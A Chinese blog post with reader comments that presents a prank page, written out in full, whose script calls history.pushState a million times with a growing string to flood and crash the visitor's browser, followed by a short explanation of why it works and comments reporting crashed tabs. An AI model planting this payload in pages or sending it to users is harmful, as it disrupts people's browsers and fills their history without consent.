如何将浏览器炸掉
Jan 27, 2016
如何将浏览器炸掉?
你可以直接打开 这个链接
或者,你也可以新建一个文件browser-ripper.html
,内容如下:
<html>
<head>
<title>等待10秒,便可享受到飞一般的感觉</title>
</head>
<body>
<h1>抓紧,要上天了!</h1>
<script>
var total = "";
for (var i = 0; i<1000000; i++) {
total = total + i.toString();
history.pushState(0,0,total);
}
</script>
</body>
</html>
然后用浏览器打开它
你真的打开它了😂?
是不是很爽?😂我们来看看原理
嗯... 大家都能看出来这是一个 JS 循环体,而重点就在于history.pushState
这句。
而history.pushState
是什么呢?
大家可能或多或少都听说过 pjax(没错,本博客就在用),而而 pjax 中的这个“p”在某种意义上代表的就是history.pushState
,这是现代浏览器普遍支持的一种添加浏览历史记录的方法。
是不是觉得豁然开朗?没错!这一段 JS 就是在向你的浏览器历史里塞进 1000000 条记录😂
(逃
本文参考了:
Cyber Security 的 Tweet
666
刚用了博主的主题,有点意思
hello,你好。
大ie 对象不支持“pushState”属性或方法
出乱码惹(用的Safari)
可恶,我删了一百多条历史记录
怪不得备案信息那么猖狂,原来网站不在境内。封站警告[滑稽]
好奇心让我点了链接,,果然要重启浏览器😂
edge:浏览器并没有崩, 只是报错了
666牛逼!